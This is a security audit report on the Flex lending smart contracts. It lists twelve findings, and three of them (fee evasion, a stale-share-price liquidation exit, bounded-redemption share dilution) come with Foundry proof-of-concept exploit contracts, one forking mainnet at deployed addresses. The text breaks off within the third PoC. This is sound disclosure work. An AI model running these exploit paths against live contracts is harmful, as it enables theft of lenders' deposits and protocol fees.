



ZERO COOL

Security Review

Flexmeow/Flex Contracts

August 11, 2026

REVIEW

REPOSITORY <https://github.com/flexmeow/flex-contracts>
BRANCH `master`
COMMIT `b96c12a17a00e3eea840a25c88a87e8f022cd587`

The Zero Cool Security Review for Flexmeow/Flex Contracts repository identified 12 findings: 1 High, 7 Medium, and 4 Low. A fix review was not performed. Resolution summary: 12 unresolved.

FINDINGS

ID	Title	Status
H-01	Low-rate opens allow immediate high-rate adjustment with negligible upfront fees [High]	Unresolved
M-01	Liquidation callbacks allow stale-PPS bad-debt escape [Medium]	Unresolved
M-02	Partial bounded redemptions create discounted Lender shares [Medium]	Unresolved
M-03	Permissionless re-kicks can reprice stale takes above their quoted cost [Medium]	Unresolved
M-04	Borrower will underpay upfront fees by issuing debt before adjusting rate [Medium]	Unresolved
M-05	Just-in-time depositors capture previously accrued lender interest [Medium]	Unresolved
M-06	Attacker will capture oracle lag value from redemptions using zero-buffer leverage self-takes [Medium]	Unresolved
M-07	Borrower will suppress protocol upfront fees via temporary self-redeemed helper debt [Medium]	Unresolved
L-01	Insolvent trove can block liquidity-shortfall redemptions [Low]	Unresolved
L-02	Underfilled redemptions can write off protocol-fee claims [Low]	Unresolved
L-03	Shared leverage zapper permits nonce squatting in Trove Manager namespace [Low]	Unresolved
L-04	Just-in-time Lender deposits can dilute auction surplus for existing lenders [Low]	Unresolved

SCOPE

```
src/auction.vy  
src/dutch_desk.vy  
src/factory.vy  
src/lender/Lender.sol  
src/lender/LenderFactory.sol  
src/periphery/leverage_zapper.vy  
src/periphery/swap_executor.vy  
src/registry.vy  
src/sorted_troves.vy  
src/trove_manager.vy
```

H-01 Low-rate opens allow immediate high-rate adjustment with negligible upfront fees [High]

Status

Unresolved

Severity

● Severity: High

≈

● Impact: Medium

×

● Likelihood: High

Summary

The `_get_upfront_fee()` function treats existing debt as already included in the global weighted average when `is_existing_debt=True`, allowing the debt's proposed new interest rate to be ignored during fee calculation. This will cause material protocol fee revenue loss as borrowers atomically open Troves at the minimum interest rate and immediately adjust to high rates while paying only the low-rate fee.

Root Cause

- In `src/trove_manager.vy:1500-1537` the `_get_upfront_fee()` function sets `new_total_debt` and `new_total_weighted_debt` directly to `self.total_debt` and `self.total_weighted_debt` when `is_existing_debt=True`, causing the `annual_interest_rate` parameter to have no effect on the calculated average rate or upfront fee.
- In `src/trove_manager.vy:785-871` the `adjust_interest_rate()` function calls `_get_upfront_fee()` with `is_existing_debt=True` for premature adjustments, passing `new_annual_interest_rate` but receiving a fee quote based on the current global average without incorporating the proposed rate change.

Internal Pre-Conditions

1. Lender needs to have sufficient idle liquidity to fund the target Trove's principal amount.
2. Total system debt and weighted debt must be low enough that a large single borrow can materially shift the average rate if counted.

External Pre-Conditions

None required.

Attack Path

1. Attacker calls `open_trove()` with the target debt amount, sufficient collateral, and `annual_interest_rate` set to `min_annual_interest_rate`

- (0.1%). The Trove is opened with the full principal delivered from Lender liquidity, and its debt is recorded with a low-rate upfront fee.
2. Attacker immediately calls `adjust_interest_rate()` in the same transaction to change the Trove's rate to `max_annual_interest_rate` (250%). Because `block.timestamp` equals the Trove's `last_interest_rate_adj_time`, the adjustment occurs within the `interest_rate_adj_cooldown` window and triggers the upfront fee logic.
 3. The fee calculation in `_get_upfront_fee()` receives `is_existing_debt=True` and the new 250% rate, but uses the current `total_debt` and `total_weighted_debt` unchanged, computing the average and fee as if the Trove remained at 0.1%.
 4. Attacker pays the low-rate fee despite the Trove ending at maximum rate, evading over 99.9% of the fee that would apply to a direct high-rate open.

Impact

Borrowers can materially and repeatedly underpay protocol upfront fees by opening at minimum rate and immediately adjusting to high rates. In a \$1,000,000 USDC example, a direct 250% open would charge approximately \$6,849, but the low-rate open followed by immediate adjustment avoids over 99.9% of that charge. The missing revenue reduces the protocol fee reserve and disadvantages the Lender's performance-fee recipient without directly harming depositor principal.

Affected Code

`src/trove_manager.vy:785-871`

- `adjust_interest_rate()`

`src/trove_manager.vy:1500-1537`

- `_get_upfront_fee()`

Mitigation

For premature interest rate adjustments, calculate the upfront fee from a hypothetical post-adjustment average by replacing the Trove's old `debt * old_rate` contribution with `new_debt * new_rate` in the weighted debt calculation. Do not allow `is_existing_debt=True` to ignore the proposed rate. Add a regression test confirming that a low-rate open followed by immediate adjustment cannot undercut the fee for the resulting rate. To address potential aged helper debt manipulation as well, replace the spot average with a time-weighted average or apply a conservative floor tied to the requested rate; do not rely solely on extending the repayment cooldown.

Proof-of-Concept

`test/SpotAverageFeePoC.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {IERC20} from
"@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC4626} from
"@openzeppelin/contracts/interfaces/IERC4626.sol";
import {ILender} from "../src/lender/interfaces/ILender.sol";
import {IPriceOracle} from "./interfaces/IPriceOracle.sol";
import {ITroveManager} from "./interfaces/ITroveManager.sol";
import {Test} from "forge-std/Test.sol";

/// @dev Executes both permissionless borrower actions in one
transaction.
contract SpotAverageAttacker {
    ITroveManager public immutable manager;
    IERC20 public immutable collateralToken;

    uint256 public troveId;
    uint256 public debtAfterOpen;
    uint256 public lowRateQuote;
    uint256 public highRateQuote;

    constructor(ITroveManager _manager, IERC20 _collateralToken)
    {
        manager = _manager;
        collateralToken = _collateralToken;
    }

    function attack(uint256 collateralAmount, uint256 principal)
    external {
        collateralToken.approve(address(manager),
        collateralAmount);

        // Open all target debt at the temporary minimum (0.1%)
        rate.
        troveId = manager.open_trove(
            1,
            collateralAmount,
            principal,
            0,
            0,
            manager.min_annual_interest_rate(),
            type(uint256).max,
            principal, // require the full principal from real
            Lender liquidity
            0
        );
    }
}
```

```

        debtAfterOpen = manager.troves(troveId).debt;
        lowRateQuote = manager.get_upfront_fee(debtAfterOpen,
manager.min_annual_interest_rate(), true);
        highRateQuote = manager.get_upfront_fee(debtAfterOpen,
manager.max_annual_interest_rate(), true);

        // Cap payment at the low-rate quote, yet finish at the
maximum 250% rate.
        manager.adjust_interest_rate(troveId,
manager.max_annual_interest_rate(), 0, 0, lowRateQuote);
    }
}

contract SpotAverageFeePoC is Test {
    // v1.1 market deployed by
broadcast/DeployMarket.s.sol/1/run-latest.json.
    uint256 internal constant FORK_BLOCK = 25_733_705;
    address internal constant MANAGER =
0x8ee72c388aA73096338EE18CD46a39D98b8983c9;
    address internal constant LENDER =
0xD93Dade7Ac8b5d1687da5d074835cB4404Dee8bA;
    address internal constant USDC =
0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address internal constant YVUSD =
0x696d02Db93291651ED510704c9b286841d506987;
    uint256 internal constant ORACLE_PRICE_SCALE = 1e36;

    ITroveManager internal manager = ITroveManager(MANAGER);
    IERC4626 internal lender = IERC4626(LENDER);
    IERC20 internal usdc = IERC20(USDC);
    IERC20 internal collateralToken = IERC20(YVUSD);

    function setUp() public {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"),
FORK_BLOCK);

        // Check that this is the real, empty, endorsed-
deployment-era market
        // with the production parameters relevant to the
exploit.
        assertEq(block.chainid, 1);
        assertGt(MANAGER.code.length, 0);
        assertEq(manager.borrow_token(), USDC);
        assertEq(manager.collateral_token(), YVUSD);
        assertEq(manager.lender(), LENDER);
        assertEq(address(ILender(LENDER).TROVE_MANAGER()),
MANAGER);
        assertEq(manager.upfront_interest_period(), 1 days);
        assertEq(manager.interest_rate_adj_cooldown(), 7 days);
        assertEq(manager.repay_cooldown(), 10 minutes);
        assertEq(manager.total_debt(), 0);

```

```

        assertEq(manager.unclaimed_protocol_fees(), 0);
        assertEq(lender.totalAssets(), 0);
    }

    function test_lowRateOpenThenHighRateAdjustmentEvadesFee()
    public {
        uint256 principal = 1_000_000e6;
        uint256 honestHighRateFee =
manager.get_upfront_fee(principal,
manager.max_annual_interest_rate());
        assertGe(ILender(LENDER).depositLimit(), principal,
"deposit exceeds live market limit");

        // Legitimate initial lender capital. No borrow tokens
are given to the attacker.
        address depositor = makeAddr("depositor");
        deal(USDC, depositor, principal);
        vm.startPrank(depositor);
        usdc.approve(LENDER, principal);
        lender.deposit(principal, depositor);
        vm.stopPrank();

        SpotAverageAttacker attacker = new
SpotAverageAttacker(manager, collateralToken);

        // The attacker supplies its own, generously
overcollateralizing yvUSD.
        uint256 targetRatio = manager.minimum_collateral_ratio()
* 2;
        uint256 collateralAmount = ((principal +
honestHighRateFee) * targetRatio / 1e6) * ORACLE_PRICE_SCALE
/ IPriceOracle(manager.price_oracle()).get_price() +
1;
        assertLt(collateralAmount, collateralToken.totalSupply(),
"collateral capital is not realistically available");
        deal(YVUSD, address(attacker), collateralAmount);

        uint256 feesBefore = manager.unclaimed_protocol_fees();
        attacker.attack(collateralAmount, principal);

        ITroveManager.Trove memory finalTrove =
manager.troves(attacker.troveId());
        uint256 adjustmentFee = finalTrove.debt -
attacker.debtAfterOpen();
        uint256 exploitFees = manager.unclaimed_protocol_fees() -
feesBefore;

        // Root cause: the existing-debt quote is identical for
0.1% and 250%.
        assertEq(attacker.highRateQuote(),
attacker.lowRateQuote(), "new rate is ignored by fee quote");
        assertEq(adjustmentFee, attacker.lowRateQuote(), "low-

```



```

rate fee cap was not honored");

    // Concrete impact: the attacker atomically obtains real
    Lender USDC and
    // a live maximum-rate Trove while evading over 99.9% of
    the direct fee.
    assertEq(finalTrove.annual_interest_rate,
manager.max_annual_interest_rate());
    assertEq(usdc.balanceOf(address(attacker)), principal,
"attacker did not receive lender funds");
    assertGt(honestHighRateFee, exploitFees * 1_000, "fee
evasion was not material");
    assertGt(honestHighRateFee - exploitFees, 0, "protocol
fee reserve suffered no shortfall");
    }
}

```

Command:

```

uv run forge test --match-path test/SpotAverageFeePoC.t.sol --match-
test test_lowRateOpenThenHighRateAdjustmentEvadesFee -vv

```

Impact:

PASS: The attacker atomically receives 1,000,000 USDC from the deployed Lender and establishes a 250% rate Trove while evading over 99.9% of the direct high-rate upfront fee.

M-01 Liquidation callbacks allow stale-PPS bad-debt escape [Medium]

Status

Unresolved

Severity

● Severity: Medium

≈

● Impact: Medium

×

● Likelihood: Medium

Summary

Underwater liquidation removes full debt before invoking receiver-controlled callbacks and before updating the Lender's cached share price will cause a loss-shifting attack for passive Lender shareholders as an existing shareholder acting as liquidator will redeem its shares at the pre-loss price during the callback, fund the liquidation repayment with those proceeds, and exit before the loss report adjusts the price per share downward.

Root Cause

- In `src/trove_manager.vy:1167–1175` the underwater liquidation subtracts the full `trove_debt_after_interest` from `total_debt` before any callback or payment, immediately socializing bad debt as a Lender loss but leaving cached share accounting stale.
- In `src/trove_manager.vy:1224–1233` the receiver-controlled `takeCallback` is invoked after collateral transfer but before `transferFrom` collects the liquidation repayment, allowing callback code to transact against the Lender during a window when its `totalAssets` remains cached at the pre-loss value.
- In `src/trove_manager.vy:1240–1252` the keeper report that atomically reflects the loss in the Lender's price per share occurs only after callback return and payment collection, leaving the callback window unprotected.
- In `src/lender/Lender.sol:119–125` the `_freeFunds()` redemption hook calls `TROVE_MANAGER.redeem()`, but when the withdrawal is covered by idle borrow-token balance the vault pays the redemption directly without reentering the nonreentrant Trove Manager, so the callback-initiated withdrawal succeeds despite the active liquidation.

Internal Pre-Conditions

1. An underwater Trove needs to exist with realized bad debt exceeding `unclaimed_protocol_fees` so that a net loss remains after fee absorption.
2. The attacker needs to hold Lender shares before the liquidation to have a claim redeemable at the cached price during the callback.
3. The Lender contract needs to hold idle borrow-token liquidity greater than or equal to the attacker's pre-loss share claim so that `_freeFunds()` does not attempt to reenter the locked Trove Manager.

External Pre-Conditions

1. Collateral price needs to decline sharply enough relative to the Trove's debt to create an underwater position where collateral value after liquidation fee is less than accrued debt.

Attack Path

1. Attacker deposits borrow tokens into the Lender and receives shares, becoming a legitimate shareholder before any exploit.
2. Market conditions or delayed liquidation cause a Trove to become underwater with bad debt exceeding available protocol-fee buffers.
3. Attacker calls `liquidate_trove()` from a callback-capable contract, sets itself as the `receiver`, and provides non-empty callback `data`.

4. The Trove Manager removes the full Trove debt in `src/trove_manager.vy:1167-1175` , transfers liquidation collateral to the attacker's receiver contract in `src/trove_manager.vy:1223` , and invokes the attacker's `takeCallback` in `src/trove_manager.vy:1224-1233` .
5. During the callback, the attacker calls `Lender.redeem()` for all of its shares; the vault prices the redemption at the stale pre-loss cached `totalAssets` and pays using idle borrow-token liquidity without reentering the Trove Manager.
6. The attacker approves the Trove Manager to pull `debt_to_repay` using the borrow tokens received from the redemption, then the callback returns.
7. The Trove Manager collects repayment in `src/trove_manager.vy:1236` , absorbs available fees, and triggers the keeper report in `src/trove_manager.vy:1240-1252` which updates the Lender's price per share to reflect the residual bad debt.
8. The attacker has exited at the inflated price per share before the report, leaving the remaining passive Lender shareholders to absorb the attacker's proportional share of the net loss.

Impact

Existing Lender shareholders can externalize their proportional share of underwater liquidation bad debt onto remaining passive shareholders. The attacker redeems at the cached pre-loss price per share, receives the full value of its pre-loss claim, and uses those redemption proceeds to fund the liquidation repayment while retaining the liquidated collateral. The loss reallocation is bounded by the attacker's preexisting share ownership, the residual loss after protocol-fee absorption, and available idle liquidity, but can be material when those conditions align. Repeated qualifying liquidations can progressively concentrate losses on passive depositors.

Affected Code

`src/trove_manager.vy:1167-1175`

- Underwater debt removal in `liquidate_trove()` before callback

`src/trove_manager.vy:1224-1233`

- `takeCallback` invocation before payment collection

`src/trove_manager.vy:1236`

- Payment collection after callback

`src/trove_manager.vy:1240-1252`

- Keeper report after payment, delayed relative to callback

`src/lender/Lender.sol:119-125`

- `_freeFunds()` redemption hook that does not reenter when idle liquidity covers withdrawal

Mitigation

Add a Trove-Manager-controlled settlement lock in the Lender contract that rejects deposit, mint, withdraw, and redeem operations through every public and internal overload while an underwater liquidation callback is active. Set the lock immediately before invoking `takeCallback` in the Trove Manager, then clear it after collecting payment, absorbing fees, and completing the keeper report that updates the Lender's cached share price. Transaction rollback on callback failure will automatically clear the lock while preserving the ability for callbacks to source liquidation repayment from external capital, collateral swaps, or preexisting balances. This approach protects the Lender's temporary stale accounting state during the callback window without breaking callback-funded liquidations.

Proof-of-Concept

``test/StalePPSLiquidationCallbackPoC.t.sol`:`

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {IERC20} from
"@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ITokenizedStrategy} from "@tokenized-
strategy/interfaces/ITokenizedStrategy.sol";

import {Base} from "./Base.sol";
import {IPriceOracleNotScaled} from
"./interfaces/IPriceOracleNotScaled.sol";
import {IPriceOracleScaled} from
"./interfaces/IPriceOracleScaled.sol";
import {ITroveManager} from "./interfaces/ITroveManager.sol";

/// @dev A permissionless liquidator that was already a
legitimate Lender depositor.
/// It uses only the tokens returned by its stale-price share
redemption to fund repayment.
contract StalePPSLiquidator {

    ITroveManager public immutable manager;
    ITokenizedStrategy public immutable lender;
    IERC20 public immutable borrowToken;

    uint256 public cachedAssetsDuringCallback;
    uint256 public ppsDuringCallback;
    uint256 public debtDuringCallback;
```

```

uint256 public idleDuringCallback;
uint256 public sharesRedeemed;
uint256 public assetsRedeemed;
uint256 public neededAmount;

constructor(ITroveManager _manager, ITokenizedStrategy
_lender, IERC20 _borrowToken) {
    manager = _manager;
    lender = _lender;
    borrowToken = _borrowToken;
}

function liquidate(uint256 troveId) external {
    manager.liquidate_trove(troveId, type(uint256).max,
address(this), abi.encode(troveId));
}

function takeCallback(
    uint256,
    address initiator,
    uint256,
    uint256 _neededAmount,
    bytes calldata
) external {
    require(msg.sender == address(manager), "not manager");
    require(initiator == address(this), "not this
liquidation");

    // The bad debt has already been removed, but share
pricing is still cached pre-loss.
    debtDuringCallback = manager.total_debt();
    cachedAssetsDuringCallback = lender.totalAssets();
    ppsDuringCallback = lender.pricePerShare();
    idleDuringCallback =
borrowToken.balanceOf(address(lender));

    sharesRedeemed = lender.balanceOf(address(this));
    assetsRedeemed = lender.redeem(sharesRedeemed,
address(this), address(this));
    neededAmount = _neededAmount;

    // Repayment comes from the real redemption above, not
test-seeded callback funds.
    require(assetsRedeemed >= _neededAmount, "redemption
cannot fund liquidation");
    borrowToken.approve(address(manager), _neededAmount);
}

}

contract StalePPSLiquidationCallbackPoC is Base {

    struct Snapshot {

```

```

uint256 attackerShares;
uint256 victimShares;
uint256 preAttackSupply;
uint256 attackerClaimBefore;
uint256 victimClaimBefore;
uint256 expectedRepayment;
uint256 cachedAssetsBefore;
uint256 ppsBefore;
}

function test_liquidationCallbackRedeemsAtStalePPS() public {
    // Base uses deployed mainnet USDC, yvWETH, oracle
    infrastructure, and keeper code.
    assertGt(address(borrowToken).code.length, 0, "fork token
missing");
    assertGt(lender.keeper().code.length, 0, "fork keeper
missing");

    StalePPSLiquidator attacker = new StalePPSLiquidator(
        troveManager, ITokenizedStrategy(address(lender)),
        borrowToken
    );

    uint256 borrowAmount = troveManager.min_debt() * 2;

    // Two legitimate shareholders deposit. Only one later
    acts as liquidator.
    mintAndDepositIntoLender(address(attacker),
        borrowAmount);
    mintAndDepositIntoLender(userLender, borrowAmount * 2);

    Snapshot memory s;
    s.attackerShares = lender.balanceOf(address(attacker));
    s.victimShares = lender.balanceOf(userLender);
    s.preAttackSupply = lender.totalSupply();
    s.attackerClaimBefore =
lender.convertToAssets(s.attackerShares);
    s.victimClaimBefore =
lender.convertToAssets(s.victimShares);

    // Borrow only one third of deposits, leaving sufficient
    genuine idle liquidity for exit.
    uint256 troveId;
    {
        uint256 collateralNeeded =
            (borrowAmount * DEFAULT_TARGET_COLLATERAL_RATIO /
BORROW_TOKEN_PRECISION) * ORACLE_PRICE_SCALE
            / priceOracle.get_price();
        troveId = mintAndOpenTrove(
            userBorrower, collateralNeeded, borrowAmount,
            DEFAULT_ANNUAL_INTEREST_RATE
        );
    }
}

```

```

ITroveManager.Trove memory trove =
troveManager.troves(troveId);

    // Simulate a market move to a 90% collateral ratio,
    creating uncovered bad debt.
    uint256 price = 90 * troveManager.one_pct() *
trove.debt * ORACLE_PRICE_SCALE
        / (trove.collateral * BORROW_TOKEN_PRECISION);
    uint256 price18 = price * COLLATERAL_TOKEN_PRECISION
* WAD
        / (ORACLE_PRICE_SCALE * BORROW_TOKEN_PRECISION);
    vm.mockCall(
        address(priceOracle),
abi.encodeWithSelector(IPriceOracleScaled.get_price.selector),
abi.encode(price)
    );
    vm.mockCall(
        address(priceOracle),

abi.encodeWithSelector(IPriceOracleNotScaled.get_price.selector,
false),
        abi.encode(price18)
    );

    uint256 collateralValue = trove.collateral * price /
ORACLE_PRICE_SCALE;
    s.expectedRepayment = collateralValue *
BORROW_TOKEN_PRECISION
        / (BORROW_TOKEN_PRECISION +
troveManager.max_liquidation_fee());
    }
    assertGt(
        troveManager.get_trove_debt_after_interest(troveId) -
s.expectedRepayment,
        troveManager.unclaimed_protocol_fees(),
        "loss is fully buffered"
    );
    assertGe(borrowToken.balanceOf(address(lender)),
s.attackerClaimBefore, "insufficient idle liquidity");
    assertGt(s.attackerClaimBefore, s.expectedRepayment,
"redemption cannot fund repayment");

    s.cachedAssetsBefore = lender.totalAssets();
    s.ppsBefore = lender.pricePerShare();

    // Permissionless exploit: callback runs after debt
    write-off but before loss report.
    attacker.liquidate(troveId);

    assertEq(attacker.debtDuringCallback(), 0, "debt was not
yet written off");
    assertEq(attacker.cachedAssetsDuringCallback(),

```



```

s.cachedAssetsBefore, "cache unexpectedly refreshed");
    assertEq(attacker.ppsDuringCallback(), s.ppsBefore,
"callback did not receive stale PPS");
    assertGe(attacker.idleDuringCallback(),
attacker.assetsRedeemed(), "redemption needed reentry");
    assertEq(attacker.assetsRedeemed(),
s.attackerClaimBefore, "attacker did not exit at pre-loss
value");
    assertEq(attacker.neededAmount(), s.expectedRepayment,
"unexpected liquidation repayment");
    assertEq(lender.balanceOf(address(attacker)), 0,
"attacker shares remain");

    // The liquidation really settles using the redeemed
funds and transfers real collateral.
    assertEq(
        borrowToken.balanceOf(address(attacker)),
        attacker.assetsRedeemed() - attacker.neededAmount(),
        "repayment was not funded from redemption"
    );
    assertGt(collateralToken.balanceOf(address(attacker)), 0,
"liquidation collateral not received");

    // The eventual report applies the whole unbuffered loss
to the passive shareholder.
    uint256 victimClaimAfter =
lender.convertToAssets(s.victimShares);
    uint256 assetsAfter = lender.totalAssets();
    uint256 netBadDebt = s.cachedAssetsBefore -
attacker.assetsRedeemed() - assetsAfter;
    uint256 victimLoss = s.victimClaimBefore -
victimClaimAfter;
    uint256 attackerFairLoss = netBadDebt * s.attackerShares
/ s.preAttackSupply;

    assertGt(netBadDebt, 0, "no net lender loss");
    assertGt(attackerFairLoss, 0, "attacker had no pro-rata
loss");
    assertApproxEqAbs(victimLoss, netBadDebt, 2, "victim did
not absorb the escaped loss");
    assertEq(attacker.assetsRedeemed(),
s.attackerClaimBefore, "attacker absorbed a loss");
    assertGt(
        attacker.assetsRedeemed(),
        s.attackerClaimBefore - attackerFairLoss,
        "attacker did not escape its pro-rata bad debt"
    );
    assertLt(lender.pricePerShare(), s.ppsBefore, "remaining
holder PPS did not fall");
}
}

```


Command:

```
test -n "$ETH_RPC_URL" || (echo 'ETH_RPC_URL is required' >&2; exit 1); uv run forge test --match-path test/StalePPSLiquidationCallbackPoC.t.sol --match-test test_liquidationCallbackRedeemsAtStalePPS -vv
```

Impact:

The targeted fork test passed: 1 passed, 0 failed. A legitimate Lender shareholder acting as a permissionless liquidator redeems all of its Lender shares inside its own nonempty liquidation callback after the underwater Trove's full debt has been removed, but before the Lender loss report updates cached totalAssets/PPS. The attacker receives its complete pre-loss share claim, uses those real redemption proceeds to repay the liquidation, and receives the liquidated collateral. After callback return, the real keeper report reduces PPS; the remaining passive lender's claim loses approximately the entire unbuffered bad-debt amount, including the attacker's otherwise pro-rata loss share.

M-02 Partial bounded redemptions create discounted Lender shares [Medium]

Status

Unresolved

Severity

● Severity: Medium

≈

● Impact: High

×

● Likelihood: Low

Summary

The combination of `TroveManager._redeem()` stopping after 1,000 Troves and `TokenizedStrategy._withdraw()` treating the full requested amount as realized loss will cause share dilution for existing Lender shareholders as an attacker will deposit at artificially low share prices created when a large redemption exceeds the traversal bound.

Root Cause

- In `src/trove_manager.vy:1323-1467` the `_redeem()` function may return less debt than requested when it reaches `_MAX_REDEMPTIONS = 1,000` iterations, but does not communicate the actual freed amount to the caller.
- In `src/lender/Lender.sol:123-127` the `_freeFunds()` function calls `TROVE_MANAGER.redeem(_amount, _auctionProceedsReceiver)` without enforcing that the redemption actually freed the requested amount.
- In `lib/tokenized-strategy/src/TokenizedStrategy.sol:1019-1033` the inherited `_withdraw()` function calculates loss as the difference between

requested assets and idle balance after `freeFunds()` , then subtracts both `assets + loss` from `S.totalAssets` even though the unredeemed debt remains economically owned by the Lender.

Internal Pre-Conditions

1. Lender needs to have non-idle liquidity deployed such that `totalAssets` exceeds idle balance.
2. Trove Manager needs to contain more than 1,000 Troves in redeemable order such that redemption will reach the iteration bound.
3. A share holder needs to call `redeem()` with sufficient shares to require non-idle deficit exceeding what 1,000 Troves can provide.

External Pre-Conditions

1. The redemption transaction needs to fit within the block gas limit on the deployed chain.
2. The attacker needs to win transaction ordering to deposit before the next accounting report.

Attack Path

1. Attacker or natural market activity creates over 1,000 Troves in the sorted redemption order, with the lowest-rate 1,000 Troves being insufficient to cover an anticipated large withdrawal.
2. A victim calls `lender.redeem(shares, receiver, owner)` where the converted asset amount exceeds idle balance by more than the first 1,000 Troves can redeem.
3. `_preWithdrawHook()` sets `_auctionProceedsReceiver` to the victim's receiver address in `src/lender/Lender.sol:101-111` .
4. `_withdraw()` detects insufficient idle balance and calls `freeFunds(deficit)` in `lib/tokenized-strategy/src/TokenizedStrategy.sol:1006-1008` .
5. `_freeFunds()` calls `TROVE_MANAGER.redeem(_amount, _auctionProceedsReceiver)` in `src/lender/Lender.sol:123-127` without verifying coverage.
6. `_redeem()` stops after `_MAX_REDEMPTIONS` iterations in `src/trove_manager.vy:1345-1443` , leaving unredeemed debt in the untraversed Troves and kicking an auction for only the freed collateral.
7. `_withdraw()` measures the shortfall as loss and reduces `S.totalAssets` by the full requested amount in `lib/tokenized-strategy/src/TokenizedStrategy.sol:1033` , even though the unredeemed debt remains a Lender asset.

8. Attacker deposits borrow tokens into the Lender, minting shares against the understated `totalAssets` in `lib/tokenized-strategy/src/TokenizedStrategy.sol`.
9. Attacker calls the permissionless Keeper to trigger `_harvestAndReport()`, which recognizes the omitted debt and increases `totalAssets` in `src/lender/Lender.sol:130-134`.
10. After the profit unlock period elapses, attacker redeems their shares and receives more assets than deposited, capturing value that economically belonged to the Lender share supply.

Impact

A share holder who uses the default `redeem()` with 100% loss tolerance can have their full nominal claim removed from cached accounting while debt beyond the 1,000-Trove bound remains economically owned by the Lender. The unredeemed shortfall is not capped by individual Trove size and can represent a material fraction of vault assets. An attacker who deposits before the next report can mint shares at the artificially low price and capture the omitted value after reporting restores it, diluting existing shareholders. The attack requires no special privileges once the state exists and can be repeated whenever large loss-tolerant redemptions exceed the bounded traversal capacity.

Affected Code

`src/lender/Lender.sol:101-127`

- `_preWithdrawHook()`
- `_freeFunds()`

`src/trove_manager.vy:1279-1297, src/trove_manager.vy:1333-1457`

- `redeem()`
- `_redeem()`

`lib/tokenized-strategy/src/TokenizedStrategy.sol:565-635, lib/tokenized-strategy/src/TokenizedStrategy.sol:989-1046`

- `withdraw()`
- `redeem()`
- `_withdraw()`

Mitigation

Make Lender-triggered redemption all-or-nothing: modify `_redeem()` to return the actual `total_debt_decrease` and require in the external `TroveManager.redeem()` function called by the Lender that the returned value equals the requested `debt_amount`, reverting the entire transaction otherwise.

Preserve partial redemption behavior only for caller flows that can explicitly consume and account for the returned amount. Users requiring larger exits can split their redemptions into bounded requests that fit within 1,000 Troves.

Proof-of-Concept

`test/PartialRedemptionCachedAssetsPOC.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import "./Base.sol";

/// @notice PoC: a redemption bounded to 1,000 Troves writes off
the full
/// nominal withdrawal from cached assets, allowing the remaining
debt to be
/// captured by a depositor who mints shares before the next
report.
contract PartialRedemptionCachedAssetsPOC is Base {
    address internal constant ATTACKER = address(0xA11CE);
    uint256 internal constant TROVE_COUNT = 1_001;
    uint256 internal constant ATTACKER_TROVE_COUNT = 1_000;

    function setUp() public override {
        Base.setUp();

        // Base normally mocks availableDepositLimit for generic
fuzz tests.
        // The deployed Lender already has an unlimited default
limit, so use
        // its real implementation throughout this exploit PoC.
        vm.clearMockedCalls();
    }

    function test_partialRedemptionMintsDiscountedShares() public
{
        uint256 minDebt = troveManager.min_debt();
        uint256 victimDeposit = minDebt * TROVE_COUNT;

        // A lender supplies enough USDC for 1,001 ordinary
minimum-debt
        // borrowers. The borrowers legitimately remove all idle
liquidity.
        mintAndDepositIntoLender(userLender, victimDeposit);

        uint256 collateralPerTrove =
            (minDebt * DEFAULT_TARGET_COLLATERAL_RATIO /
BORROW_TOKEN_PRECISION)
            * ORACLE_PRICE_SCALE / priceOracle.get_price();
    }
}
```

```

    // The attacker permissionlessly prepares the 1,000
lowest-rate
    // Troves. Their real loan proceeds provide ample backrun
capital.
    for (uint256 i; i < ATTACKER_TROVE_COUNT; ++i) {
        _openTrove(
            address(uint160(1_000 + i)),
            i,
            collateralPerTrove,
            minDebt,
            DEFAULT_ANNUAL_INTEREST_RATE,
            sortedTroves.last(),
            0,
            true
        );
    }

    // An independent borrower has the next, higher-rate
Trove. This is
    // the debt omitted by the bounded redemption and later
captured by
    // the attacker; its loan proceeds never fund the
attacker.
    _openTrove(
        anotherUserBorrower,
        0,
        collateralPerTrove,
        minDebt,
        DEFAULT_ANNUAL_INTEREST_RATE * 2,
        0,
        sortedTroves.first(),
        false
    );

    assertEq(sortedTroves.size(), TROVE_COUNT, "setup:
missing Troves");
    assertEq(
        borrowToken.balanceOf(address(lender)),
        0,
        "setup: lender still has idle liquidity"
    );

    // The default redeem() accepts 100% loss. freeFunds()
can only walk
    // 1,000 Troves, but TokenizedStrategy nevertheless burns
all shares
    // and subtracts the full nominal claim from cached
totalAssets.
    vm.prank(userLender);
    uint256 redemptionGasBefore = gasleft();
    lender.redeem(victimDeposit, userLender, userLender);
    uint256 redemptionGas = redemptionGasBefore - gasleft();

```

```

        // State preparation can be split across transactions;
the decisive
        // bounded redemption itself fits in the forked block's
gas limit.
        assertLt(redemptionGas, block.gaslimit, "redemption
exceeds block gas limit");

        IAuction.AuctionInfo memory victimAuction =
auction.auctions(0);
        assertLt(
            victimAuction.maximum_amount,
            victimDeposit,
            "redemption unexpectedly covered the full claim"
        );
        assertEq(sortedTrove.size(), 1, "redemption did not stop
after 1,000 Troves");
        assertEq(
            troveManager.trove(sortedTrove.first()).owner,
            anotherUserBorrower,
            "omitted debt is not the independent borrower's"
        );
        assertEq(lender.totalSupply(), 0, "victim shares were not
fully burned");
        assertEq(lender.totalAssets(), 0, "cached assets were not
fully written off");

        // The untraversed debt is still economically owned by
the Lender, but
        // is absent from its cached ERC-4626 share price.
        uint256 liveAssets =
borrowToken.balanceOf(address(lender))
            + troveManager.sync_total_debt()
            - troveManager.unclaimed_protocol_fees();
        uint256 omittedAssets = liveAssets -
lender.totalAssets();
        assertGt(omittedAssets, 0, "no economically owned assets
remain");

        // The 1,000 prepared borrower accounts forwarded their
legitimate
        // loan proceeds to ATTACKER. Twice the observed gap
        // ensures that recognizing it remains inside the
production 100%
        // profit health-check limit; no extra attacker funds are
minted here.
        uint256 attackerPrincipal = omittedAssets * 2;
        uint256 attackerBalanceBefore =
borrowToken.balanceOf(ATTACKER);
        assertGe(attackerBalanceBefore, attackerPrincipal, "loan
proceeds cannot fund attack");

```

```

vm.startPrank(ATTACKER);
borrowToken.approve(address(lender), attackerPrincipal);
uint256 attackerShares =
lender.deposit(attackerPrincipal, ATTACKER);
